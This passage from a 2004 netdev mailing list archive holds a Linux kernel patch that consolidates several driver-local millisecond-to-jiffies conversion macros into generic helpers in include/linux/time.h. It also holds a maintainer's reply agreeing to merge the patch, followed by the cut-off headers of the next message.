IRDA_TASK_WAIT: diff -Nru a/drivers/net/irda/girbil.c b/drivers/net/irda/girbil.c --- a/drivers/net/irda/girbil.c Wed Mar 24 16:27:12 2004 +++ b/drivers/net/irda/girbil.c Wed Mar 24 16:27:12 2004 @@ -119,7 +119,7 @@ irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } break; case IRDA_TASK_CHILD_WAIT: @@ -153,7 +153,7 @@ /* Write control bytes */ self->write(self->dev, control, 2); irda_task_next_state(task, IRDA_TASK_WAIT); - ret = MSECS_TO_JIFFIES(100); + ret = msecs_to_jiffies(100); break; case IRDA_TASK_WAIT: /* Go back to normal mode */ @@ -194,19 +194,19 @@ self->set_dtr_rts(self->dev, TRUE, FALSE); irda_task_next_state(task, IRDA_TASK_WAIT1); /* Sleep at least 5 ms */ - ret = MSECS_TO_JIFFIES(20); + ret = msecs_to_jiffies(20); break; case IRDA_TASK_WAIT1: /* Set DTR and clear RTS to enter command mode */ self->set_dtr_rts(self->dev, FALSE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(20); + ret = msecs_to_jiffies(20); break; case IRDA_TASK_WAIT2: /* Write control byte */ self->write(self->dev, &control, 1); irda_task_next_state(task, IRDA_TASK_WAIT3); - ret = MSECS_TO_JIFFIES(20); + ret = msecs_to_jiffies(20); break; case IRDA_TASK_WAIT3: /* Go back to normal mode */ diff -Nru a/drivers/net/irda/irda-usb.c b/drivers/net/irda/irda-usb.c --- a/drivers/net/irda/irda-usb.c Wed Mar 24 16:27:13 2004 +++ b/drivers/net/irda/irda-usb.c Wed Mar 24 16:27:13 2004 @@ -268,7 +268,7 @@ speed_bulk_callback, self); urb->transfer_buffer_length = USB_IRDA_HEADER; urb->transfer_flags = URB_ASYNC_UNLINK; - urb->timeout = MSECS_TO_JIFFIES(100); + urb->timeout = msecs_to_jiffies(100); /* Irq disabled -> GFP_ATOMIC */ if ((ret = usb_submit_urb(urb, GFP_ATOMIC))) { @@ -412,7 +412,7 @@ * This is how the dongle will detect the end of packet - Jean II */ urb->transfer_flags |= URB_ZERO_PACKET; /* Timeout need to be shorter than NET watchdog timer */ - urb->timeout = MSECS_TO_JIFFIES(200); + urb->timeout = msecs_to_jiffies(200); /* Generate min turn time. FIXME: can we do better than this? */ /* Trying to a turnaround time at this level is trying to measure @@ -1311,7 +1311,7 @@ IU_REQ_GET_CLASS_DESC, USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE, 0, intf->altsetting->desc.bInterfaceNumber, desc, - sizeof(*desc), MSECS_TO_JIFFIES(500)); + sizeof(*desc), msecs_to_jiffies(500)); IRDA_DEBUG(1, "%s(), ret=%d\n", __FUNCTION__, ret); if (ret < sizeof(*desc)) { diff -Nru a/drivers/net/irda/irport.c b/drivers/net/irda/irport.c --- a/drivers/net/irda/irport.c Wed Mar 24 16:27:13 2004 +++ b/drivers/net/irda/irport.c Wed Mar 24 16:27:13 2004 @@ -452,7 +452,7 @@ task->state = IRDA_TASK_WAIT; /* Try again later */ - ret = MSECS_TO_JIFFIES(20); + ret = msecs_to_jiffies(20); break; } @@ -474,7 +474,7 @@ irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give dongle 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } else /* Child finished immediately */ irda_task_next_state(task, IRDA_TASK_CHILD_DONE); diff -Nru a/drivers/net/irda/irtty-sir.c b/drivers/net/irda/irtty-sir.c --- a/drivers/net/irda/irtty-sir.c Wed Mar 24 16:27:12 2004 +++ b/drivers/net/irda/irtty-sir.c Wed Mar 24 16:27:12 2004 @@ -93,12 +93,12 @@ tty = priv->tty; if (tty->driver->wait_until_sent) { lock_kernel(); - tty->driver->wait_until_sent(tty, MSECS_TO_JIFFIES(100)); + tty->driver->wait_until_sent(tty, msecs_to_jiffies(100)); unlock_kernel(); } else { set_task_state(current, TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(USBSERIAL_TX_DONE_DELAY)); + schedule_timeout(msecs_to_jiffies(USBSERIAL_TX_DONE_DELAY)); } } diff -Nru a/drivers/net/irda/ma600-sir.c b/drivers/net/irda/ma600-sir.c --- a/drivers/net/irda/ma600-sir.c Wed Mar 24 16:27:13 2004 +++ b/drivers/net/irda/ma600-sir.c Wed Mar 24 16:27:13 2004 @@ -192,7 +192,7 @@ /* Wait at least 10ms: fake wait_until_sent - 10 bits at 9600 baud*/ set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(15)); /* old ma600 uses 15ms */ + schedule_timeout(msecs_to_jiffies(15)); /* old ma600 uses 15ms */ #if 1 /* read-back of the control byte. ma600 is the first dongle driver @@ -216,7 +216,7 @@ /* Wait at least 10ms */ set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(msecs_to_jiffies(10)); /* dongle is now switched to the new speed */ dev->speed = speed; @@ -246,12 +246,12 @@ /* Reset the dongle : set DTR low for 10 ms */ sirdev_set_dtr_rts(dev, FALSE, TRUE); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(msecs_to_jiffies(10)); /* Go back to normal mode */ sirdev_set_dtr_rts(dev, TRUE, TRUE); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(msecs_to_jiffies(10)); dev->speed = 9600; /* That's the dongle-default */ diff -Nru a/drivers/net/irda/ma600.c b/drivers/net/irda/ma600.c --- a/drivers/net/irda/ma600.c Wed Mar 24 16:27:13 2004 +++ b/drivers/net/irda/ma600.c Wed Mar 24 16:27:13 2004 @@ -184,7 +184,7 @@ if (self->speed_task && self->speed_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__); - return MSECS_TO_JIFFIES(10); + return msecs_to_jiffies(10); } else { self->speed_task = task; } @@ -202,7 +202,7 @@ irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* give 1 second to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } else { irda_task_next_state(task, IRDA_TASK_CHILD_DONE); } @@ -217,7 +217,7 @@ /* Set DTR, Clear RTS */ self->set_dtr_rts(self->dev, TRUE, FALSE); - ret = MSECS_TO_JIFFIES(1); /* Sleep 1 ms */ + ret = msecs_to_jiffies(1); /* Sleep 1 ms */ irda_task_next_state(task, IRDA_TASK_WAIT); break; @@ -231,7 +231,7 @@ irda_task_next_state(task, IRDA_TASK_WAIT1); /* Wait at least 10 ms */ - ret = MSECS_TO_JIFFIES(15); + ret = msecs_to_jiffies(15); break; case IRDA_TASK_WAIT1: @@ -258,7 +258,7 @@ irda_task_next_state(task, IRDA_TASK_WAIT2); /* Wait at least 10 ms */ - ret = MSECS_TO_JIFFIES(10); + ret = msecs_to_jiffies(10); break; case IRDA_TASK_WAIT2: @@ -298,7 +298,7 @@ if (self->reset_task && self->reset_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__); - return MSECS_TO_JIFFIES(10); + return msecs_to_jiffies(10); } else self->reset_task = task; @@ -307,13 +307,13 @@ /* Clear DTR and Set RTS */ self->set_dtr_rts(self->dev, FALSE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT1); - ret = MSECS_TO_JIFFIES(10); /* Sleep 10 ms */ + ret = msecs_to_jiffies(10); /* Sleep 10 ms */ break; case IRDA_TASK_WAIT1: /* Set DTR and RTS */ self->set_dtr_rts(self->dev, TRUE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(10); /* Sleep 10 ms */ + ret = msecs_to_jiffies(10); /* Sleep 10 ms */ break; case IRDA_TASK_WAIT2: irda_task_next_state(task, IRDA_TASK_DONE); diff -Nru a/drivers/net/irda/mcp2120.c b/drivers/net/irda/mcp2120.c --- a/drivers/net/irda/mcp2120.c Wed Mar 24 16:27:13 2004 +++ b/drivers/net/irda/mcp2120.c Wed Mar 24 16:27:13 2004 @@ -99,7 +99,7 @@ irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } break; case IRDA_TASK_CHILD_WAIT: @@ -140,7 +140,7 @@ self->write(self->dev, control, 2); irda_task_next_state(task, IRDA_TASK_WAIT); - ret = MSECS_TO_JIFFIES(100); + ret = msecs_to_jiffies(100); //printk("mcp2120_change_speed irda_child_done\n"); break; case IRDA_TASK_WAIT: @@ -189,14 +189,14 @@ /* Reset dongle by setting RTS*/ self->set_dtr_rts(self->dev, TRUE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT1); - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT1: //printk("mcp2120_reset irda_task_wait1\n"); /* clear RTS and wait for at least 30 ms. */ self->set_dtr_rts(self->dev, FALSE, FALSE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT2: //printk("mcp2120_reset irda_task_wait2\n"); diff -Nru a/drivers/net/irda/sir_dev.c b/drivers/net/irda/sir_dev.c --- a/drivers/net/irda/sir_dev.c Wed Mar 24 16:27:13 2004 +++ b/drivers/net/irda/sir_dev.c Wed Mar 24 16:27:13 2004 @@ -74,7 +74,7 @@ while (dev->tx_buff.len > 0) { /* wait until tx idle */ spin_unlock_irqrestore(&dev->tx_lock, flags); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(msecs_to_jiffies(10)); spin_lock_irqsave(&dev->tx_lock, flags); } diff -Nru a/drivers/net/irda/sir_kthread.c b/drivers/net/irda/sir_kthread.c --- a/drivers/net/irda/sir_kthread.c Wed Mar 24 16:27:13 2004 +++ b/drivers/net/irda/sir_kthread.c Wed Mar 24 16:27:13 2004 @@ -415,7 +415,7 @@ fsm->state = next_state; } while(!delay); - irda_queue_delayed_request(&fsm->rq, MSECS_TO_JIFFIES(delay)); + irda_queue_delayed_request(&fsm->rq, msecs_to_jiffies(delay)); } /* schedule some device configuration task for execution by kIrDAd diff -Nru a/drivers/net/irda/stir4200.c b/drivers/net/irda/stir4200.c --- a/drivers/net/irda/stir4200.c Wed Mar 24 16:27:12 2004 +++ b/drivers/net/irda/stir4200.c Wed Mar 24 16:27:13 2004 @@ -208,7 +208,7 @@ REQ_WRITE_SINGLE, USB_DIR_OUT|USB_TYPE_VENDOR|USB_RECIP_DEVICE, value, reg, NULL, 0, - MSECS_TO_JIFFIES(CTRL_TIMEOUT)); + msecs_to_jiffies(CTRL_TIMEOUT)); } /* Send control message to read multiple registers */ @@ -221,7 +221,7 @@ REQ_READ_REG, USB_DIR_IN | USB_TYPE_VENDOR | USB_RECIP_DEVICE, 0, reg, data, count, - MSECS_TO_JIFFIES(CTRL_TIMEOUT)); + msecs_to_jiffies(CTRL_TIMEOUT)); } static inline int isfir(u32 speed) @@ -745,7 +745,7 @@ if (usb_bulk_msg(stir->usbdev, usb_sndbulkpipe(stir->usbdev, 1), stir->io_buf, wraplen, - NULL, MSECS_TO_JIFFIES(TRANSMIT_TIMEOUT))) + NULL, msecs_to_jiffies(TRANSMIT_TIMEOUT))) stir->stats.tx_errors++; } diff -Nru a/drivers/net/irda/tekram-sir.c b/drivers/net/irda/tekram-sir.c --- a/drivers/net/irda/tekram-sir.c Wed Mar 24 16:27:13 2004 +++ b/drivers/net/irda/tekram-sir.c Wed Mar 24 16:27:13 2004 @@ -211,7 +211,7 @@ /* Should sleep 1 ms */ set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(1)); + schedule_timeout(msecs_to_jiffies(1)); /* Set DTR, Set RTS */ sirdev_set_dtr_rts(dev, TRUE, TRUE); diff -Nru a/drivers/net/irda/tekram.c b/drivers/net/irda/tekram.c --- a/drivers/net/irda/tekram.c Wed Mar 24 16:27:13 2004 +++ b/drivers/net/irda/tekram.c Wed Mar 24 16:27:13 2004 @@ -113,7 +113,7 @@ if (self->speed_task && self->speed_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__ ); - return MSECS_TO_JIFFIES(10); + return msecs_to_jiffies(10); } else self->speed_task = task; @@ -150,7 +150,7 @@ irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } else irda_task_next_state(task, IRDA_TASK_CHILD_DONE); break; @@ -171,7 +171,7 @@ irda_task_next_state(task, IRDA_TASK_WAIT); /* Wait at least 100 ms */ - ret = MSECS_TO_JIFFIES(150); + ret = msecs_to_jiffies(150); break; case IRDA_TASK_WAIT: /* Set DTR, Set RTS */ @@ -214,7 +214,7 @@ if (self->reset_task && self->reset_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__ ); - return MSECS_TO_JIFFIES(10); + return msecs_to_jiffies(10); } else self->reset_task = task; @@ -227,7 +227,7 @@ irda_task_next_state(task, IRDA_TASK_WAIT1); /* Sleep 50 ms */ - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT1: /* Clear DTR, Set RTS */ @@ -236,7 +236,7 @@ irda_task_next_state(task, IRDA_TASK_WAIT2); /* Should sleep 1 ms */ - ret = MSECS_TO_JIFFIES(1); + ret = msecs_to_jiffies(1); break; case IRDA_TASK_WAIT2: /* Set DTR, Set RTS */ diff -Nru a/drivers/net/tulip/de2104x.c b/drivers/net/tulip/de2104x.c --- a/drivers/net/tulip/de2104x.c Wed Mar 24 16:27:13 2004 +++ b/drivers/net/tulip/de2104x.c Wed Mar 24 16:27:13 2004 @@ -357,13 +357,6 @@ static u16 t21041_csr15[] = { 0x0008, 0x0006, 0x000E, 0x0008, 0x0008, }; -static inline unsigned long -msec_to_jiffies(unsigned long ms) -{ - return (((ms)*HZ+999)/1000); -} - - #define dr32(reg) readl(de->regs + (reg)) #define dw32(reg,val) writel((val), de->regs + (reg)) @@ -1216,7 +1209,7 @@ /* de4x5.c delays, so we do too */ current->state = TASK_UNINTERRUPTIBLE; - schedule_timeout(msec_to_jiffies(10)); + schedule_timeout(msecs_to_jiffies(10)); } } diff -Nru a/include/linux/libata.h b/include/linux/libata.h --- a/include/linux/libata.h Wed Mar 24 16:27:12 2004 +++ b/include/linux/libata.h Wed Mar 24 16:27:12 2004 @@ -435,11 +435,6 @@ sector_t capacity, int geom[]); -static inline unsigned long msecs_to_jiffies(unsigned long msecs) -{ - return ((HZ * msecs + 999) / 1000); -} - static inline unsigned int ata_tag_valid(unsigned int tag) { return (tag < ATA_MAX_QUEUE) ? 1 : 0; diff -Nru a/include/linux/time.h b/include/linux/time.h --- a/include/linux/time.h Wed Mar 24 16:27:13 2004 +++ b/include/linux/time.h Wed Mar 24 16:27:13 2004 @@ -259,6 +259,28 @@ return (a->tv_sec == b->tv_sec) && (a->tv_nsec == b->tv_nsec); } +static inline unsigned long msecs_to_jiffies(unsigned long msecs) +{ +#if 1000 % HZ == 0 + return msecs / (1000 / HZ); +#elif HZ % 1000 == 0 + return msecs * (HZ / 1000); +#else + return (msecs / 1000) * HZ + (msecs % 1000) * HZ / 1000; +#endif +} + +static inline unsigned long jiffies_to_msecs(unsigned long jiffs) +{ +#if 1000 % HZ == 0 + return jiffs * (1000 / HZ); +#elif HZ % 1000 == 0 + return jiffs / (HZ / 1000); +#else + return (jiffs / HZ) * 1000 + (jiffs % HZ) * 1000 / HZ; +#endif +} + /* Converts Gregorian date to seconds since 1970-01-01 00:00:00. * Assumes input in normal date format, i.e. 1980-12-31 23:59:59 * => year=1980, mon=12, day=31, hour=23, min=59, sec=59. diff -Nru a/include/net/irda/irda.h b/include/net/irda/irda.h --- a/include/net/irda/irda.h Wed Mar 24 16:27:13 2004 +++ b/include/net/irda/irda.h Wed Mar 24 16:27:13 2004 @@ -83,8 +83,6 @@ #define MESSAGE(args...) printk(KERN_INFO args) #define ERROR(args...) printk(KERN_ERR args) -#define MSECS_TO_JIFFIES(ms) (((ms)*HZ+999)/1000) - /* * Magic numbers used by Linux-IrDA. Random numbers which must be unique to * give the best protection diff -Nru a/include/net/sctp/sctp.h b/include/net/sctp/sctp.h --- a/include/net/sctp/sctp.h Wed Mar 24 16:27:13 2004 +++ b/include/net/sctp/sctp.h Wed Mar 24 16:27:13 2004 @@ -115,10 +115,6 @@ #define SCTP_STATIC static #endif -#define MSECS_TO_JIFFIES(msec) \ - (((msec / 1000) * HZ) + ((msec % 1000) * HZ) / 1000) -#define JIFFIES_TO_MSECS(jiff) \ - (((jiff / HZ) * 1000) + ((jiff % HZ) * 1000) / HZ) /* * Function declarations. diff -Nru a/net/irda/ircomm/ircomm_tty.c b/net/irda/ircomm/ircomm_tty.c --- a/net/irda/ircomm/ircomm_tty.c Wed Mar 24 16:27:13 2004 +++ b/net/irda/ircomm/ircomm_tty.c Wed Mar 24 16:27:13 2004 @@ -873,7 +873,7 @@ orig_jiffies = jiffies; /* Set poll time to 200 ms */ - poll_time = IRDA_MIN(timeout, MSECS_TO_JIFFIES(200)); + poll_time = IRDA_MIN(timeout, msecs_to_jiffies(200)); spin_lock_irqsave(&self->spinlock, flags); while (self->tx_skb && self->tx_skb->len) { diff -Nru a/net/irda/irlap_event.c b/net/irda/irlap_event.c --- a/net/irda/irlap_event.c Wed Mar 24 16:27:13 2004 +++ b/net/irda/irlap_event.c Wed Mar 24 16:27:13 2004 @@ -627,7 +627,7 @@ if (irda_device_is_receiving(self->netdev) && !self->add_wait) { IRDA_DEBUG(2, "%s(), device is slow to answer, " "waiting some more!\n", __FUNCTION__); - irlap_start_slot_timer(self, MSECS_TO_JIFFIES(10)); + irlap_start_slot_timer(self, msecs_to_jiffies(10)); self->add_wait = TRUE; return ret; } @@ -849,7 +849,7 @@ * 1.5 times the time taken to transmit a SNRM frame. So this time should * between 15 msecs and 45 msecs. */ - irlap_start_backoff_timer(self, MSECS_TO_JIFFIES(20 + + irlap_start_backoff_timer(self, msecs_to_jiffies(20 + (jiffies % 30))); } else { /* Always switch state before calling upper layers */ @@ -1506,7 +1506,7 @@ if (irda_device_is_receiving(self->netdev) && !self->add_wait) { IRDA_DEBUG(1, "FINAL_TIMER_EXPIRED when receiving a " "frame! Waiting a little bit more!\n"); - irlap_start_final_timer(self, MSECS_TO_JIFFIES(300)); + irlap_start_final_timer(self, msecs_to_jiffies(300)); /* * Don't allow this to happen one more time in a row, diff -Nru a/net/sctp/associola.c b/net/sctp/associola.c --- a/net/sctp/associola.c Wed Mar 24 16:27:12 2004 +++ b/net/sctp/associola.c Wed Mar 24 16:27:12 2004 @@ -142,9 +142,9 @@ * socket values. */ asoc->max_retrans = sp->assocparams.sasoc_asocmaxrxt; - asoc->rto_initial = MSECS_TO_JIFFIES(sp->rtoinfo.srto_initial); - asoc->rto_max = MSECS_TO_JIFFIES(sp->rtoinfo.srto_max); - asoc->rto_min = MSECS_TO_JIFFIES(sp->rtoinfo.srto_min); + asoc->rto_initial = msecs_to_jiffies(sp->rtoinfo.srto_initial); + asoc->rto_max = msecs_to_jiffies(sp->rtoinfo.srto_max); + asoc->rto_min = msecs_to_jiffies(sp->rtoinfo.srto_min); asoc->overall_error_count = 0; @@ -170,7 +170,7 @@ asoc->max_init_attempts = sp->initmsg.sinit_max_attempts; asoc->max_init_timeo = - MSECS_TO_JIFFIES(sp->initmsg.sinit_max_init_timeo); + msecs_to_jiffies(sp->initmsg.sinit_max_init_timeo); /* Allocate storage for the ssnmap after the inbound and outbound * streams have been negotiated during Init. @@ -510,7 +510,7 @@ /* Initialize the peer's heartbeat interval based on the * sock configured value. */ - peer->hb_interval = MSECS_TO_JIFFIES(sp->paddrparam.spp_hbinterval); + peer->hb_interval = msecs_to_jiffies(sp->paddrparam.spp_hbinterval); /* Set the path max_retrans. */ peer->max_retrans = asoc->max_retrans; diff -Nru a/net/sctp/endpointola.c b/net/sctp/endpointola.c --- a/net/sctp/endpointola.c Wed Mar 24 16:27:12 2004 +++ b/net/sctp/endpointola.c Wed Mar 24 16:27:12 2004 @@ -129,7 +129,7 @@ ep->timeouts[SCTP_EVENT_TIMEOUT_T1_INIT] = SCTP_DEFAULT_TIMEOUT_T1_INIT; ep->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN] = - MSECS_TO_JIFFIES(sp->rtoinfo.srto_initial); + msecs_to_jiffies(sp->rtoinfo.srto_initial); ep->timeouts[SCTP_EVENT_TIMEOUT_T3_RTX] = 0; ep->timeouts[SCTP_EVENT_TIMEOUT_T4_RTO] = 0; @@ -138,7 +138,7 @@ * recommended value of 5 times 'RTO.Max'. */ ep->timeouts[SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD] - = 5 * MSECS_TO_JIFFIES(sp->rtoinfo.srto_max); + = 5 * msecs_to_jiffies(sp->rtoinfo.srto_max); ep->timeouts[SCTP_EVENT_TIMEOUT_HEARTBEAT] = SCTP_DEFAULT_TIMEOUT_HEARTBEAT; diff -Nru a/net/sctp/socket.c b/net/sctp/socket.c --- a/net/sctp/socket.c Wed Mar 24 16:27:13 2004 +++ b/net/sctp/socket.c Wed Mar 24 16:27:13 2004 @@ -1218,7 +1218,7 @@ } if (sinit->sinit_max_init_timeo) { asoc->max_init_timeo = - MSECS_TO_JIFFIES(sinit->sinit_max_init_timeo); + msecs_to_jiffies(sinit->sinit_max_init_timeo); } } @@ -1657,7 +1657,7 @@ if (params.spp_hbinterval) { trans->hb_allowed = 1; trans->hb_interval = - MSECS_TO_JIFFIES(params.spp_hbinterval); + msecs_to_jiffies(params.spp_hbinterval); } else trans->hb_allowed = 0; } @@ -1830,11 +1830,11 @@ if (asoc) { if (rtoinfo.srto_initial != 0) asoc->rto_initial = - MSECS_TO_JIFFIES(rtoinfo.srto_initial); + msecs_to_jiffies(rtoinfo.srto_initial); if (rtoinfo.srto_max != 0) - asoc->rto_max = MSECS_TO_JIFFIES(rtoinfo.srto_max); + asoc->rto_max = msecs_to_jiffies(rtoinfo.srto_max); if (rtoinfo.srto_min != 0) - asoc->rto_min = MSECS_TO_JIFFIES(rtoinfo.srto_min); + asoc->rto_min = msecs_to_jiffies(rtoinfo.srto_min); } else { /* If there is no association or the association-id = 0 * set the values to the endpoint. @@ -2363,14 +2363,14 @@ sp->initmsg.sinit_num_ostreams = sctp_max_outstreams; sp->initmsg.sinit_max_instreams = sctp_max_instreams; sp->initmsg.sinit_max_attempts = sctp_max_retrans_init; - sp->initmsg.sinit_max_init_timeo = JIFFIES_TO_MSECS(sctp_rto_max); + sp->initmsg.sinit_max_init_timeo = jiffies_to_msecs(sctp_rto_max); /* Initialize default RTO related parameters. These parameters can * be modified for with the SCTP_RTOINFO socket option. */ - sp->rtoinfo.srto_initial = JIFFIES_TO_MSECS(sctp_rto_initial); - sp->rtoinfo.srto_max = JIFFIES_TO_MSECS(sctp_rto_max); - sp->rtoinfo.srto_min = JIFFIES_TO_MSECS(sctp_rto_min); + sp->rtoinfo.srto_initial = jiffies_to_msecs(sctp_rto_initial); + sp->rtoinfo.srto_max = jiffies_to_msecs(sctp_rto_max); + sp->rtoinfo.srto_min = jiffies_to_msecs(sctp_rto_min); /* Initialize default association related parameters. These parameters * can be modified with the SCTP_ASSOCINFO socket option. @@ -2380,7 +2380,7 @@ sp->assocparams.sasoc_peer_rwnd = 0; sp->assocparams.sasoc_local_rwnd = 0; sp->assocparams.sasoc_cookie_life = - JIFFIES_TO_MSECS(sctp_valid_cookie_life); + jiffies_to_msecs(sctp_valid_cookie_life); /* Initialize default event subscriptions. By default, all the * options are off. @@ -2390,7 +2390,7 @@ /* Default Peer Address Parameters. These defaults can * be modified via SCTP_PEER_ADDR_PARAMS */ - sp->paddrparam.spp_hbinterval = JIFFIES_TO_MSECS(sctp_hb_interval); + sp->paddrparam.spp_hbinterval = jiffies_to_msecs(sctp_hb_interval); sp->paddrparam.spp_pathmaxrxt = sctp_max_retrans_path; /* If enabled no SCTP message fragmentation will be performed. @@ -2540,7 +2540,7 @@ status.sstat_primary.spinfo_state = transport->active; status.sstat_primary.spinfo_cwnd = transport->cwnd; status.sstat_primary.spinfo_srtt = transport->srtt; - status.sstat_primary.spinfo_rto = JIFFIES_TO_MSECS(transport->rto); + status.sstat_primary.spinfo_rto = jiffies_to_msecs(transport->rto); status.sstat_primary.spinfo_mtu = transport->pmtu; if (put_user(len, optlen)) { @@ -2595,7 +2595,7 @@ pinfo.spinfo_state = transport->active; pinfo.spinfo_cwnd = transport->cwnd; pinfo.spinfo_srtt = transport->srtt; - pinfo.spinfo_rto = JIFFIES_TO_MSECS(transport->rto); + pinfo.spinfo_rto = jiffies_to_msecs(transport->rto); pinfo.spinfo_mtu = transport->pmtu; if (put_user(len, optlen)) { @@ -2799,7 +2799,7 @@ if (!trans->hb_allowed) params.spp_hbinterval = 0; else - params.spp_hbinterval = JIFFIES_TO_MSECS(trans->hb_interval); + params.spp_hbinterval = jiffies_to_msecs(trans->hb_interval); /* spp_pathmaxrxt contains the maximum number of retransmissions * before this address shall be considered unreachable. @@ -3156,9 +3156,9 @@ /* Values corresponding to the specific association. */ if (asoc) { - rtoinfo.srto_initial = JIFFIES_TO_MSECS(asoc->rto_initial); - rtoinfo.srto_max = JIFFIES_TO_MSECS(asoc->rto_max); - rtoinfo.srto_min = JIFFIES_TO_MSECS(asoc->rto_min); + rtoinfo.srto_initial = jiffies_to_msecs(asoc->rto_initial); + rtoinfo.srto_max = jiffies_to_msecs(asoc->rto_max); + rtoinfo.srto_min = jiffies_to_msecs(asoc->rto_min); } else { /* Values corresponding to the endpoint. */ struct sctp_opt *sp = sctp_sk(sk); From davem@redhat.com Thu Mar 25 12:32:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 12:32:19 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2PKW8KO024479 for ; Thu, 25 Mar 2004 12:32:09 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2PKW7WA010723; Thu, 25 Mar 2004 15:32:07 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2PKW7j13741; Thu, 25 Mar 2004 15:32:07 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2PKVm1n009970; Thu, 25 Mar 2004 15:31:49 -0500 Date: Thu, 25 Mar 2004 12:32:06 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: jgarzik@pobox.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] Consolidate multiple implementations of jiffies-msecs conversions. Message-Id: <20040325123206.00b2dd1a.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4249 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 417 Lines: 13 On Thu, 25 Mar 2004 12:17:41 -0800 (PST) Sridhar Samudrala wrote: > The following patch to 2.6.5-rc2 consolidates 6 different implementations > of msecs to jiffies and 3 different implementation of jiffies to msecs. > All of them now use the generic msecs_to_jiffies() and jiffies_to_msecs() > that are added to include/linux/time.h This looks fine to me. Jeff, I'll merge this upstream. Thanks. From chas@cmf.nrl.navy.mil Thu Mar 25 12:35:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 12:35:23 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2PKZIKO024853 for ; Thu, 25 Mar 2004 12:35:19 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.11/8.12.11) with ESMTP id i2PKZ8EC012261; Thu, 25 Mar 2004 15:35:08 -0500 (EST) Message-Id: <200403252035.i2PKZ8EC012261@ginger.cmf.nrl.navy.mil> To: gupta@cpsc.ucalgary.ca cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Accessing time In-Reply-To: Message from Abhinav Gupta of "Thu, 25 Mar 2004 12:41:04 MST." <406335D0.2090308@cs.ucalgary.ca> Date: Thu, 25 Mar 2004 15:35:10 -0500 From: "chas williams (contractor)" X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 4250 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: 